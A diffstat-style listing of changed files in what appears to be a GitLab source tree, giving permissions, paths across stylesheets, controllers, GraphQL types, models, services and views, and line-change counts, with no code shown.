-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_header.scss1
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss7
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss386
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss552
-rw-r--r--app/assets/stylesheets/framework/diffs.scss8
-rw-r--r--app/assets/stylesheets/framework/dropdowns.scss18
-rw-r--r--app/assets/stylesheets/framework/editor-lite.scss76
-rw-r--r--app/assets/stylesheets/framework/files.scss22
-rw-r--r--app/assets/stylesheets/framework/flash.scss11
-rw-r--r--app/assets/stylesheets/framework/header.scss5
-rw-r--r--app/assets/stylesheets/framework/lists.scss6
-rw-r--r--app/assets/stylesheets/framework/source_editor.scss76
-rw-r--r--app/assets/stylesheets/framework/system_messages.scss3
-rw-r--r--app/assets/stylesheets/framework/variables.scss12
-rw-r--r--app/assets/stylesheets/page_bundles/admin/application_settings_metrics_and_profiling.scss2
-rw-r--r--app/assets/stylesheets/page_bundles/boards.scss4
-rw-r--r--app/assets/stylesheets/page_bundles/ide.scss16
-rw-r--r--app/assets/stylesheets/page_bundles/members.scss152
-rw-r--r--app/assets/stylesheets/page_bundles/merge_requests.scss1
-rw-r--r--app/assets/stylesheets/page_bundles/milestone.scss23
-rw-r--r--app/assets/stylesheets/page_bundles/new_namespace.scss5
-rw-r--r--app/assets/stylesheets/page_bundles/pipelines.scss6
-rw-r--r--app/assets/stylesheets/pages/clusters.scss14
-rw-r--r--app/assets/stylesheets/pages/commits.scss2
-rw-r--r--app/assets/stylesheets/pages/issuable.scss24
-rw-r--r--app/assets/stylesheets/pages/merge_requests.scss10
-rw-r--r--app/assets/stylesheets/pages/notes.scss1
-rw-r--r--app/assets/stylesheets/snippets.scss15
-rw-r--r--app/assets/stylesheets/startup/startup-dark.scss831
-rw-r--r--app/assets/stylesheets/startup/startup-general.scss693
-rw-r--r--app/assets/stylesheets/startup/startup-signin.scss38
-rw-r--r--app/assets/stylesheets/themes/_dark.scss11
-rw-r--r--app/assets/stylesheets/themes/theme_helper.scss25
-rw-r--r--app/assets/stylesheets/themes/theme_indigo.scss2
-rw-r--r--app/assets/stylesheets/utilities.scss47
-rw-r--r--app/controllers/admin/application_settings_controller.rb8
-rw-r--r--app/controllers/admin/background_migrations_controller.rb14
-rw-r--r--app/controllers/admin/ci/variables_controller.rb2
-rw-r--r--app/controllers/admin/cohorts_controller.rb6
-rw-r--r--app/controllers/admin/integrations_controller.rb2
-rw-r--r--app/controllers/admin/runners_controller.rb2
-rw-r--r--app/controllers/admin/usage_trends_controller.rb4
-rw-r--r--app/controllers/application_controller.rb4
-rw-r--r--app/controllers/boards/issues_controller.rb2
-rw-r--r--app/controllers/chaos_controller.rb2
-rw-r--r--app/controllers/concerns/authenticates_with_two_factor.rb4
-rw-r--r--app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb2
-rw-r--r--app/controllers/concerns/issuable_actions.rb7
-rw-r--r--app/controllers/concerns/metrics/dashboard/prometheus_api_proxy.rb2
-rw-r--r--app/controllers/concerns/redis_tracking.rb7
-rw-r--r--app/controllers/concerns/spammable_actions.rb35
-rw-r--r--app/controllers/concerns/wiki_actions.rb3
-rw-r--r--app/controllers/dashboard/milestones_controller.rb2
-rw-r--r--app/controllers/dashboard/todos_controller.rb1
-rw-r--r--app/controllers/groups/application_controller.rb8
-rw-r--r--app/controllers/groups/boards_controller.rb1
-rw-r--r--app/controllers/groups/group_members_controller.rb8
-rw-r--r--app/controllers/groups/milestones_controller.rb2
-rw-r--r--app/controllers/groups/runners_controller.rb2
-rw-r--r--app/controllers/groups/variables_controller.rb2
-rw-r--r--app/controllers/help_controller.rb2
-rw-r--r--app/controllers/import/bulk_imports_controller.rb4
-rw-r--r--app/controllers/invites_controller.rb19
-rw-r--r--app/controllers/jira_connect/events_controller.rb2
-rw-r--r--app/controllers/metrics_controller.rb2
-rw-r--r--app/controllers/profiles/gpg_keys_controller.rb2
-rw-r--r--app/controllers/profiles/personal_access_tokens_controller.rb6
-rw-r--r--app/controllers/projects/artifacts_controller.rb2
-rw-r--r--app/controllers/projects/blob_controller.rb16
-rw-r--r--app/controllers/projects/boards_controller.rb1
-rw-r--r--app/controllers/projects/build_artifacts_controller.rb2
-rw-r--r--app/controllers/projects/commit_controller.rb3
-rw-r--r--app/controllers/projects/cycle_analytics_controller.rb8
-rw-r--r--app/controllers/projects/environments/prometheus_api_controller.rb2
-rw-r--r--app/controllers/projects/feature_flags_controller.rb4
-rw-r--r--app/controllers/projects/forks_controller.rb2
-rw-r--r--app/controllers/projects/graphs_controller.rb4
-rw-r--r--app/controllers/projects/import/jira_controller.rb6
-rw-r--r--app/controllers/projects/issues_controller.rb15
-rw-r--r--app/controllers/projects/jobs_controller.rb4
-rw-r--r--app/controllers/projects/mattermosts_controller.rb14
-rw-r--r--app/controllers/projects/merge_requests/diffs_controller.rb14
-rw-r--r--app/controllers/projects/merge_requests_controller.rb9
-rw-r--r--app/controllers/projects/milestones_controller.rb2
-rw-r--r--app/controllers/projects/pipelines_controller.rb19
-rw-r--r--app/controllers/projects/prometheus/metrics_controller.rb6
-rw-r--r--app/controllers/projects/releases_controller.rb6
-rw-r--r--app/controllers/projects/repositories_controller.rb2
-rw-r--r--app/controllers/projects/runners_controller.rb16
-rw-r--r--app/controllers/projects/service_hook_logs_controller.rb15
-rw-r--r--app/controllers/projects/service_ping_controller.rb21
-rw-r--r--app/controllers/projects/services_controller.rb18
-rw-r--r--app/controllers/projects/settings/access_tokens_controller.rb10
-rw-r--r--app/controllers/projects/settings/ci_cd_controller.rb1
-rw-r--r--app/controllers/projects/settings/integrations_controller.rb2
-rw-r--r--app/controllers/projects/settings/packages_and_registries_controller.rb7
-rw-r--r--app/controllers/projects/tree_controller.rb4
-rw-r--r--app/controllers/projects/usage_ping_controller.rb21
-rw-r--r--app/controllers/projects/variables_controller.rb2
-rw-r--r--app/controllers/projects_controller.rb10
-rw-r--r--app/controllers/registrations/experience_levels_controller.rb2
-rw-r--r--app/controllers/registrations/invites_controller.rb9
-rw-r--r--app/controllers/registrations/welcome_controller.rb2
-rw-r--r--app/controllers/registrations_controller.rb1
-rw-r--r--app/controllers/repositories/git_http_controller.rb6
-rw-r--r--app/controllers/search_controller.rb11
-rw-r--r--app/controllers/users/unsubscribes_controller.rb33
-rw-r--r--app/experiments/application_experiment.rb53
-rw-r--r--app/experiments/new_project_readme_content_experiment.rb30
-rw-r--r--app/experiments/templates/new_project_readme_content/readme_advanced.md.tt90
-rw-r--r--app/experiments/templates/new_project_readme_content/readme_basic.md.tt3
-rw-r--r--app/finders/bulk_imports/entities_finder.rb35
-rw-r--r--app/finders/bulk_imports/imports_finder.rb24
-rw-r--r--app/finders/ci/pipelines_finder.rb11
-rw-r--r--app/finders/ci/pipelines_for_merge_request_finder.rb3
-rw-r--r--app/finders/ci/runners_finder.rb7
-rw-r--r--app/finders/concerns/merged_at_filter.rb20
-rw-r--r--app/finders/container_repositories_finder.rb2
-rw-r--r--app/finders/environments/environments_finder.rb9
-rw-r--r--app/finders/members_finder.rb5
-rw-r--r--app/finders/merge_requests_finder.rb7
-rw-r--r--app/finders/milestones_finder.rb15
-rw-r--r--app/finders/packages/helm/package_files_finder.rb11
-rw-r--r--app/finders/projects_finder.rb2
-rw-r--r--app/finders/security/jobs_finder.rb4
-rw-r--r--app/finders/security/security_jobs_finder.rb2
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/create.rb4
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/prometheus_integration_base.rb2
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb2
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/update.rb2
-rw-r--r--app/graphql/mutations/boards/issues/issue_move_list.rb2
-rw-r--r--app/graphql/mutations/ci/job_token_scope/add_project.rb49
-rw-r--r--app/graphql/mutations/ci/job_token_scope/remove_project.rb49
-rw-r--r--app/graphql/mutations/ci/runner/update.rb2
-rw-r--r--app/graphql/mutations/concerns/mutations/package_eventable.rb2
-rw-r--r--app/graphql/mutations/concerns/mutations/spam_protection.rb19
-rw-r--r--app/graphql/mutations/issues/create.rb3
-rw-r--r--app/graphql/mutations/issues/set_confidential.rb8
-rw-r--r--app/graphql/mutations/issues/update.rb3
-rw-r--r--app/graphql/mutations/packages/destroy.rb37
-rw-r--r--app/graphql/mutations/release_asset_links/create.rb4
-rw-r--r--app/graphql/mutations/security/ci_configuration/base_security_analyzer.rb44
-rw-r--r--app/graphql/mutations/security/ci_configuration/configure_sast.rb33
-rw-r--r--app/graphql/mutations/security/ci_configuration/configure_secret_detection.rb33
-rw-r--r--app/graphql/mutations/snippets/create.rb10
-rw-r--r--app/graphql/mutations/snippets/update.rb10
-rw-r--r--app/graphql/queries/container_registry/get_container_repositories.query.graphql2
-rw-r--r--app/graphql/queries/epic/epic_children.query.graphql1
-rw-r--r--app/graphql/queries/pipelines/get_pipeline_details.query.graphql3
-rw-r--r--app/graphql/queries/releases/all_releases.query.graphql105
-rw-r--r--app/graphql/resolvers/alert_management/alert_resolver.rb2
-rw-r--r--app/graphql/resolvers/alert_management/integrations_resolver.rb4
-rw-r--r--app/graphql/resolvers/board_list_issues_resolver.rb2
-rw-r--r--app/graphql/resolvers/ci/config_resolver.rb8
-rw-r--r--app/graphql/resolvers/ci/job_token_scope_resolver.rb21
-rw-r--r--app/graphql/resolvers/ci/runners_resolver.rb16
-rw-r--r--app/graphql/resolvers/ci/template_resolver.rb2
-rw-r--r--app/graphql/resolvers/concerns/issue_resolver_arguments.rb2
-rw-r--r--app/graphql/resolvers/issues_resolver.rb1
-rw-r--r--app/graphql/resolvers/milestones_resolver.rb20
-rw-r--r--app/graphql/resolvers/projects/jira_projects_resolver.rb6
-rw-r--r--app/graphql/types/alert_management/alert_sort_enum.rb4
-rw-r--r--app/graphql/types/alert_management/alert_type.rb2
-rw-r--r--app/graphql/types/alert_management/integration_type.rb2
-rw-r--r--app/graphql/types/alert_management/prometheus_integration_type.rb10
-rw-r--r--app/graphql/types/base_field.rb12
-rw-r--r--app/graphql/types/boards/board_issue_input_base_type.rb2
-rw-r--r--app/graphql/types/ci/build_need_type.rb2
-rw-r--r--app/graphql/types/ci/detailed_status_type.rb7
-rw-r--r--app/graphql/types/ci/group_type.rb8
-rw-r--r--app/graphql/types/ci/job_token_scope_type.rb16
-rw-r--r--app/graphql/types/ci/job_type.rb2
-rw-r--r--app/graphql/types/ci/pipeline_type.rb3
-rw-r--r--app/graphql/types/ci/runner_type.rb36
-rw-r--r--app/graphql/types/ci/stage_type.rb20
-rw-r--r--app/graphql/types/ci/status_action_type.rb7
-rw-r--r--app/graphql/types/deployment_tier_enum.rb14
-rw-r--r--app/graphql/types/design_management/design_type.rb2
-rw-r--r--app/graphql/types/issuable_searchable_field_enum.rb12
-rw-r--r--app/graphql/types/issue_sort_enum.rb2
-rw-r--r--app/graphql/types/issue_type.rb5
-rw-r--r--app/graphql/types/issues/negated_issue_filter_input_type.rb2
-rw-r--r--app/graphql/types/merge_request_type.rb2
-rw-r--r--app/graphql/types/milestone_sort_enum.rb13
-rw-r--r--app/graphql/types/milestone_type.rb3
-rw-r--r--app/graphql/types/mutation_type.rb3
-rw-r--r--app/graphql/types/noteable_type.rb23
-rw-r--r--app/graphql/types/notes/discussion_type.rb10
-rw-r--r--app/graphql/types/notes/noteable_interface.rb31
-rw-r--r--app/graphql/types/notes/noteable_type.rb31
-rw-r--r--app/graphql/types/project_type.rb16
-rw-r--r--app/graphql/types/projects/service_type_enum.rb2
-rw-r--r--app/graphql/types/query_complexity_type.rb30
-rw-r--r--app/graphql/types/query_type.rb8
-rw-r--r--app/graphql/types/release_asset_link_type.rb2
-rw-r--r--app/graphql/types/snippet_type.rb2
-rw-r--r--app/graphql/types/snippets/blob_type.rb4
-rw-r--r--app/graphql/types/user_callout_type.rb2
-rw-r--r--app/helpers/admin/user_actions_helper.rb17
-rw-r--r--app/helpers/analytics/unique_visits_helper.rb30
-rw-r--r--app/helpers/application_helper.rb2
-rw-r--r--app/helpers/application_settings_helper.rb7
-rw-r--r--app/helpers/auto_devops_helper.rb2
-rw-r--r--app/helpers/blob_helper.rb4
-rw-r--r--app/helpers/ci/jobs_helper.rb1
-rw-r--r--app/helpers/ci/pipeline_editor_helper.rb16
-rw-r--r--app/helpers/ci/pipelines_helper.rb68
-rw-r--r--app/helpers/ci/variables_helper.rb2
-rw-r--r--app/helpers/clusters_helper.rb6
-rw-r--r--app/helpers/commits_helper.rb8
-rw-r--r--app/helpers/custom_metrics_helper.rb2
-rw-r--r--app/helpers/diff_helper.rb10
-rw-r--r--app/helpers/environments_helper.rb2
-rw-r--r--app/helpers/events_helper.rb3
-rw-r--r--app/helpers/gitlab_routing_helper.rb381
-rw-r--r--app/helpers/groups_helper.rb18
-rw-r--r--app/helpers/integrations_helper.rb210
-rw-r--r--app/helpers/issuables_helper.rb9
-rw-r--r--app/helpers/issues_helper.rb3
-rw-r--r--app/helpers/namespaces_helper.rb4
-rw-r--r--app/helpers/nav/new_dropdown_helper.rb15
-rw-r--r--app/helpers/nav/top_nav_helper.rb4
-rw-r--r--app/helpers/nav_helper.rb6
-rw-r--r--app/helpers/operations_helper.rb13
-rw-r--r--app/helpers/packages_helper.rb27
-rw-r--r--app/helpers/personal_access_tokens_helper.rb7
-rw-r--r--app/helpers/projects/alert_management_helper.rb4
-rw-r--r--app/helpers/projects_helper.rb22
-rw-r--r--app/helpers/registrations_helper.rb7
-rw-r--r--app/helpers/releases_helper.rb23
-rw-r--r--app/helpers/routing/artifacts_helper.rb49
-rw-r--r--app/helpers/routing/graphql_helper.rb13
-rw-r--r--app/helpers/routing/groups/members_helper.rb31
-rw-r--r--app/helpers/routing/members_helper.rb14
-rw-r--r--app/helpers/routing/pipeline_schedules_helper.rb29
-rw-r--r--app/helpers/routing/projects/members_helper.rb31
-rw-r--r--app/helpers/routing/projects_helper.rb85
-rw-r--r--app/helpers/routing/snippets_helper.rb144
-rw-r--r--app/helpers/routing/wiki_helper.rb13
-rw-r--r--app/helpers/search_helper.rb21
-rw-r--r--app/helpers/services_helper.rb185
-rw-r--r--app/helpers/sessions_helper.rb9
-rw-r--r--app/helpers/sidebars_helper.rb74
-rw-r--r--app/helpers/sorting_helper.rb21
-rw-r--r--app/helpers/sorting_titles_values_helper.rb56
-rw-r--r--app/helpers/tracking_helper.rb2
-rw-r--r--app/helpers/user_callouts_helper.rb2
-rw-r--r--app/helpers/users_helper.rb147
-rw-r--r--app/helpers/whats_new_helper.rb6
-rw-r--r--app/mailers/emails/admin_notification.rb19
-rw-r--r--app/mailers/emails/profile.rb8
-rw-r--r--app/mailers/emails/service_desk.rb8
-rw-r--r--app/mailers/notify.rb1
-rw-r--r--app/models/ability.rb8
-rw-r--r--app/models/alert_management/alert.rb12
-rw-r--r--app/models/alert_management/http_integration.rb4
-rw-r--r--app/models/application_setting.rb12
-rw-r--r--app/models/application_setting/term.rb6
-rw-r--r--app/models/application_setting_implementation.rb19
-rw-r--r--app/models/audit_event.rb7
-rw-r--r--app/models/award_emoji.rb8
-rw-r--r--app/models/blob.rb1
-rw-r--r--app/models/blob_viewer/csv.rb13
-rw-r--r--app/models/blob_viewer/go_mod.rb6
-rw-r--r--app/models/blob_viewer/markup.rb4
-rw-r--r--app/models/bulk_import.rb6
-rw-r--r--app/models/bulk_imports/entity.rb6
-rw-r--r--app/models/bulk_imports/export_status.rb2
-rw-r--r--app/models/bulk_imports/file_transfer/base_config.rb6
-rw-r--r--app/models/bulk_imports/file_transfer/group_config.rb4
-rw-r--r--app/models/bulk_imports/file_transfer/project_config.rb4
-rw-r--r--app/models/ci/base_model.rb17
-rw-r--r--app/models/ci/build.rb42
-rw-r--r--app/models/ci/build_dependencies.rb14
-rw-r--r--app/models/ci/build_metadata.rb4
-rw-r--r--app/models/ci/build_trace_chunk.rb10
-rw-r--r--app/models/ci/build_trace_chunks/fog.rb35
-rw-r--r--app/models/ci/group.rb5
-rw-r--r--app/models/ci/instance_variable.rb2
-rw-r--r--app/models/ci/job_artifact.rb8
-rw-r--r--app/models/ci/job_token/project_scope_link.rb4
-rw-r--r--app/models/ci/pending_build.rb42
-rw-r--r--app/models/ci/pipeline.rb71
-rw-r--r--app/models/ci/runner.rb19
-rw-r--r--app/models/clusters/applications/runner.rb2
-rw-r--r--app/models/clusters/integrations/prometheus.rb14
-rw-r--r--app/models/commit_status.rb1
-rw-r--r--app/models/compare.rb4
-rw-r--r--app/models/concerns/analytics/cycle_analytics/stage.rb4
-rw-r--r--app/models/concerns/any_field_validation.rb25
-rw-r--r--app/models/concerns/approvable_base.rb13
-rw-r--r--app/models/concerns/atomic_internal_id.rb23
-rw-r--r--app/models/concerns/avatarable.rb7
-rw-r--r--app/models/concerns/cache_markdown_field.rb6
-rw-r--r--app/models/concerns/cascading_namespace_setting_attribute.rb13
-rw-r--r--app/models/concerns/ci/maskable.rb2
-rw-r--r--app/models/concerns/ci/metadatable.rb2
-rw-r--r--app/models/concerns/enums/ci/commit_status.rb1
-rw-r--r--app/models/concerns/has_integrations.rb2
-rw-r--r--app/models/concerns/integrations/has_web_hook.rb36
-rw-r--r--app/models/concerns/issuable.rb30
-rw-r--r--app/models/concerns/milestoneish.rb4
-rw-r--r--app/models/concerns/partitioned_table.rb6
-rw-r--r--app/models/concerns/sortable.rb2
-rw-r--r--app/models/concerns/taggable_queries.rb21
-rw-r--r--app/models/container_repository.rb14
-rw-r--r--app/models/deployment.rb2
-rw-r--r--app/models/diff_discussion.rb7
-rw-r--r--app/models/discussion.rb18
-rw-r--r--app/models/error_tracking.rb7
-rw-r--r--app/models/error_tracking/error.rb23
-rw-r--r--app/models/error_tracking/error_event.rb11
-rw-r--r--app/models/error_tracking/project_error_tracking_setting.rb2
-rw-r--r--app/models/event.rb15
-rw-r--r--app/models/event_collection.rb1
-rw-r--r--app/models/group.rb21
-rw-r--r--app/models/hooks/web_hook_log.rb2
-rw-r--r--app/models/integration.rb113
-rw-r--r--app/models/integrations/bamboo.rb6
-rw-r--r--app/models/integrations/base_monitoring.rb23
-rw-r--r--app/models/integrations/base_slash_commands.rb2
-rw-r--r--app/models/integrations/buildkite.rb28
-rw-r--r--app/models/integrations/campfire.rb32
-rw-r--r--app/models/integrations/confluence.rb2
-rw-r--r--app/models/integrations/datadog.rb50
-rw-r--r--app/models/integrations/discord.rb2
-rw-r--r--app/models/integrations/drone_ci.rb36
-rw-r--r--app/models/integrations/ewm.rb2
-rw-r--r--app/models/integrations/jenkins.rb14
-rw-r--r--app/models/integrations/jira.rb15
-rw-r--r--app/models/integrations/mattermost_slash_commands.rb2
-rw-r--r--app/models/integrations/mock_ci.rb2
-rw-r--r--app/models/integrations/mock_monitoring.rb25
-rw-r--r--app/models/integrations/packagist.rb14
-rw-r--r--app/models/integrations/pipelines_email.rb2
-rw-r--r--app/models/integrations/pivotaltracker.rb17
-rw-r--r--app/models/integrations/prometheus.rb203
-rw-r--r--app/models/integrations/teamcity.rb15
-rw-r--r--app/models/internal_id.rb171
-rw-r--r--app/models/issue.rb78
-rw-r--r--app/models/member.rb135
-rw-r--r--app/models/members/group_member.rb6
-rw-r--r--app/models/members/project_member.rb8
-rw-r--r--app/models/merge_request.rb11
-rw-r--r--app/models/merge_request/cleanup_schedule.rb55
-rw-r--r--app/models/merge_request/diff_commit_user.rb95
-rw-r--r--app/models/merge_request_diff.rb2
-rw-r--r--app/models/merge_request_diff_commit.rb70
-rw-r--r--app/models/milestone.rb13
-rw-r--r--app/models/namespace.rb10
-rw-r--r--app/models/namespace_setting.rb2
-rw-r--r--app/models/namespaces/traversal/linear.rb51
-rw-r--r--app/models/namespaces/traversal/recursive.rb20
-rw-r--r--app/models/note.rb7
-rw-r--r--app/models/operations/feature_flag.rb2
-rw-r--r--app/models/packages/debian.rb4
-rw-r--r--app/models/packages/event.rb6
-rw-r--r--app/models/packages/go/module.rb2
-rw-r--r--app/models/packages/helm.rb2
-rw-r--r--app/models/packages/nuget.rb1
-rw-r--r--app/models/packages/package.rb8
-rw-r--r--app/models/packages/package_file.rb2
-rw-r--r--app/models/plan.rb2
-rw-r--r--app/models/plan_limits.rb4
-rw-r--r--app/models/project.rb171
-rw-r--r--app/models/project_ci_cd_setting.rb1
-rw-r--r--app/models/project_services/mock_monitoring_service.rb23
-rw-r--r--app/models/project_services/monitoring_service.rb21
-rw-r--r--app/models/project_services/prometheus_service.rb203
-rw-r--r--app/models/project_team.rb15
-rw-r--r--app/models/repository_language.rb4
-rw-r--r--app/models/service_desk_setting.rb5
-rw-r--r--app/models/timelog.rb1
-rw-r--r--app/models/user.rb23
-rw-r--r--app/models/user_callout.rb6
-rw-r--r--app/models/wiki.rb36
-rw-r--r--app/models/wiki_page.rb1
-rw-r--r--app/policies/group_policy.rb1
-rw-r--r--app/policies/project_policy.rb24
-rw-r--r--app/policies/release_policy.rb16
-rw-r--r--app/policies/releases/link_policy.rb2
-rw-r--r--app/presenters/blob_presenter.rb4
-rw-r--r--app/presenters/ci/build_runner_presenter.rb2
-rw-r--r--app/presenters/commit_status_presenter.rb3
-rw-r--r--app/presenters/dev_ops_report/metric_presenter.rb2
-rw-r--r--app/presenters/gitlab/blame_presenter.rb2
-rw-r--r--app/presenters/merge_request_presenter.rb4
-rw-r--r--app/presenters/packages/helm/index_presenter.rb53
-rw-r--r--app/presenters/packages/nuget/presenter_helpers.rb3
-rw-r--r--app/presenters/packages/nuget/service_index_presenter.rb10
-rw-r--r--app/presenters/project_presenter.rb4
-rw-r--r--app/presenters/search_service_presenter.rb2
-rw-r--r--app/presenters/snippet_blob_presenter.rb4
-rw-r--r--app/serializers/analytics/cycle_analytics/stage_entity.rb15
-rw-r--r--app/serializers/merge_request_widget_entity.rb2
-rw-r--r--app/serializers/paginated_diff_entity.rb27
-rw-r--r--app/serializers/service_event_entity.rb12
-rw-r--r--app/services/alert_management/alerts/update_service.rb5
-rw-r--r--app/services/application_settings/update_service.rb4
-rw-r--r--app/services/audit_event_service.rb7
-rw-r--r--app/services/auth/container_registry_authentication_service.rb20
-rw-r--r--app/services/base_service.rb1
-rw-r--r--app/services/boards/issues/create_service.rb4
-rw-r--r--app/services/branches/create_service.rb8
-rw-r--r--app/services/bulk_create_integration_service.rb8
-rw-r--r--app/services/bulk_imports/file_download_service.rb68
-rw-r--r--app/services/bulk_update_integration_service.rb6
-rw-r--r--app/services/captcha/captcha_verification_service.rb25
-rw-r--r--app/services/ci/after_requeue_job_service.rb24
-rw-r--r--app/services/ci/append_build_trace_service.rb13
-rw-r--r--app/services/ci/create_downstream_pipeline_service.rb4
-rw-r--r--app/services/ci/destroy_pipeline_service.rb4
-rw-r--r--app/services/ci/expire_pipeline_cache_service.rb2
-rw-r--r--app/services/ci/job_token_scope/add_project_service.rb31
-rw-r--r--app/services/ci/job_token_scope/remove_project_service.rb31
-rw-r--r--app/services/ci/pipeline_schedules/calculate_next_run_service.rb9
-rw-r--r--app/services/ci/pipelines/add_job_service.rb37
-rw-r--r--app/services/ci/play_bridge_service.rb2
-rw-r--r--app/services/ci/play_build_service.rb2
-rw-r--r--app/services/ci/queue/build_queue_service.rb90
-rw-r--r--app/services/ci/queue/builds_table_strategy.rb67
-rw-r--r--app/services/ci/queue/pending_builds_strategy.rb69
-rw-r--r--app/services/ci/register_job_service.rb86
-rw-r--r--app/services/ci/retry_build_service.rb44
-rw-r--r--app/services/ci/retry_pipeline_service.rb16
-rw-r--r--app/services/concerns/alert_management/alert_processing.rb2
-rw-r--r--app/services/concerns/ci/job_token_scope/edit_scope_validations.rb26
-rw-r--r--app/services/concerns/update_repository_storage_methods.rb6
-rw-r--r--app/services/design_management/save_designs_service.rb2
-rw-r--r--app/services/error_tracking/collect_error_service.rb38
-rw-r--r--app/services/git/base_hooks_service.rb2
-rw-r--r--app/services/git/wiki_push_service/change.rb3
-rw-r--r--app/services/gpg_keys/create_service.rb10
-rw-r--r--app/services/gpg_keys/destroy_service.rb2
-rw-r--r--app/services/groups/group_links/create_service.rb2
-rw-r--r--app/services/groups/group_links/destroy_service.rb2
-rw-r--r--app/services/groups/group_links/update_service.rb2
-rw-r--r--app/services/groups/transfer_service.rb5
-rw-r--r--app/services/incident_management/incidents/create_service.rb12
-rw-r--r--app/services/incident_management/incidents/update_severity_service.rb38
-rw-r--r--app/services/issuable/clone/base_service.rb2
-rw-r--r--app/services/issuable/import_csv/base_service.rb5
-rw-r--r--app/services/issuable_base_service.rb19
-rw-r--r--app/services/issues/base_service.rb2
-rw-r--r--app/services/issues/clone_service.rb6
-rw-r--r--app/services/issues/create_service.rb25
-rw-r--r--app/services/issues/duplicate_service.rb1
-rw-r--r--app/services/issues/move_service.rb5
-rw-r--r--app/services/issues/update_service.rb26
-rw-r--r--app/services/jira/requests/base.rb12
-rw-r--r--app/services/jira/requests/projects/list_service.rb4
-rw-r--r--app/services/jira_connect_installations/destroy_service.rb24
-rw-r--r--app/services/jira_import/users_importer.rb4
-rw-r--r--app/services/jira_import/users_mapper_service.rb8
-rw-r--r--app/services/keys/destroy_service.rb12
-rw-r--r--app/services/members/creator_service.rb172
-rw-r--r--app/services/members/groups/creator_service.rb17
-rw-r--r--app/services/members/invite_service.rb2
-rw-r--r--app/services/members/projects/creator_service.rb22
-rw-r--r--app/services/merge_requests/base_service.rb2
-rw-r--r--app/services/merge_requests/push_options_handler_service.rb5
-rw-r--r--app/services/merge_requests/rebase_service.rb6
-rw-r--r--app/services/metrics_service.rb2
-rw-r--r--app/services/namespace_settings/update_service.rb25
-rw-r--r--app/services/namespaces/in_product_marketing_emails_service.rb17
-rw-r--r--app/services/notes/post_process_service.rb2
-rw-r--r--app/services/notification_service.rb5
-rw-r--r--app/services/packages/conan/search_service.rb2
-rw-r--r--app/services/packages/destroy_package_service.rb33
-rw-r--r--app/services/packages/nuget/metadata_extraction_service.rb6
-rw-r--r--app/services/packages/nuget/update_package_from_metadata_service.rb21
-rw-r--r--app/services/post_receive_service.rb10
-rw-r--r--app/services/projects/create_service.rb27
-rw-r--r--app/services/projects/group_links/create_service.rb7
-rw-r--r--app/services/projects/group_links/update_service.rb20
-rw-r--r--app/services/projects/lfs_pointers/lfs_download_service.rb12
-rw-r--r--app/services/projects/operations/update_service.rb6
-rw-r--r--app/services/projects/overwrite_project_service.rb2
-rw-r--r--app/services/projects/prometheus/alerts/notify_service.rb2
-rw-r--r--app/services/projects/protect_default_branch_service.rb6
-rw-r--r--app/services/projects/transfer_service.rb14
-rw-r--r--app/services/projects/update_pages_service.rb14
-rw-r--r--app/services/projects/update_remote_mirror_service.rb2
-rw-r--r--app/services/projects/update_service.rb2
-rw-r--r--app/services/releases/base_service.rb11
-rw-r--r--app/services/releases/create_service.rb10
-rw-r--r--app/services/releases/destroy_service.rb2
-rw-r--r--app/services/releases/update_service.rb2
-rw-r--r--app/services/resource_access_tokens/create_service.rb9
-rw-r--r--app/services/security/ci_configuration/dependency_scanning_create_service.rb25
-rw-r--r--app/services/service_ping/build_payload_service.rb27
-rw-r--r--app/services/service_ping/permit_data_categories_service.rb34
-rw-r--r--app/services/service_ping/submit_service.rb94
-rw-r--r--app/services/snippets/create_service.rb30
-rw-r--r--app/services/snippets/update_service.rb29
-rw-r--r--app/services/spam/akismet_service.rb1
-rw-r--r--app/services/spam/spam_action_service.rb96
-rw-r--r--app/services/spam/spam_params.rb44
-rw-r--r--app/services/spam/spam_verdict_service.rb5
-rw-r--r--app/services/submit_usage_ping_service.rb77
-rw-r--r--app/services/user_agent_detail_service.rb17
-rw-r--r--app/services/user_project_access_changed_service.rb16
-rw-r--r--app/services/web_hook_service.rb1
-rw-r--r--app/services/wiki_pages/base_service.rb2
-rw-r--r--app/services/wiki_pages/create_service.rb5
-rw-r--r--app/services/wiki_pages/update_service.rb2
-rw-r--r--app/services/wikis/create_attachment_service.rb4
-rw-r--r--app/uploaders/dependency_proxy/file_uploader.rb2
-rw-r--r--app/validators/json_schemas/build_metadata_secrets.json3
-rw-r--r--app/validators/json_schemas/error_tracking_event_payload.json231
-rw-r--r--app/views/admin/application_settings/_ci_cd.html.haml2
-rw-r--r--app/views/admin/application_settings/_gitaly.html.haml18
-rw-r--r--app/views/admin/application_settings/_help_page.html.haml6
-rw-r--r--app/views/admin/application_settings/_initial_branch_name.html.haml2
-rw-r--r--app/views/admin/application_settings/_localization.html.haml5
-rw-r--r--app/views/admin/application_settings/_mailgun.html.haml25
-rw-r--r--app/views/admin/application_settings/_repository_check.html.haml23
-rw-r--r--app/views/admin/application_settings/_repository_mirrors_form.html.haml7
-rw-r--r--app/views/admin/application_settings/_repository_storage.html.haml14
-rw-r--r--app/views/admin/application_settings/_runner_registrars_form.html.haml16
-rw-r--r--app/views/admin/application_settings/_snowplow.html.haml15
-rw-r--r--app/views/admin/application_settings/_third_party_offers.html.haml6
-rw-r--r--app/views/admin/application_settings/_usage.html.haml41
-rw-r--r--app/views/admin/application_settings/ci/_header.html.haml4
-rw-r--r--app/views/admin/application_settings/ci_cd.html.haml12
-rw-r--r--app/views/admin/application_settings/general.html.haml1
-rw-r--r--app/views/admin/application_settings/integrations.html.haml8
-rw-r--r--app/views/admin/application_settings/metrics_and_profiling.html.haml4
-rw-r--r--app/views/admin/application_settings/preferences.html.haml13
-rw-r--r--app/views/admin/application_settings/repository.html.haml12
-rw-r--r--app/views/admin/background_migrations/_migration.html.haml9
-rw-r--r--app/views/admin/background_migrations/index.html.haml1
-rw-r--r--app/views/admin/dashboard/index.html.haml5
-rw-r--r--app/views/admin/dev_ops_report/_callout.html.haml2
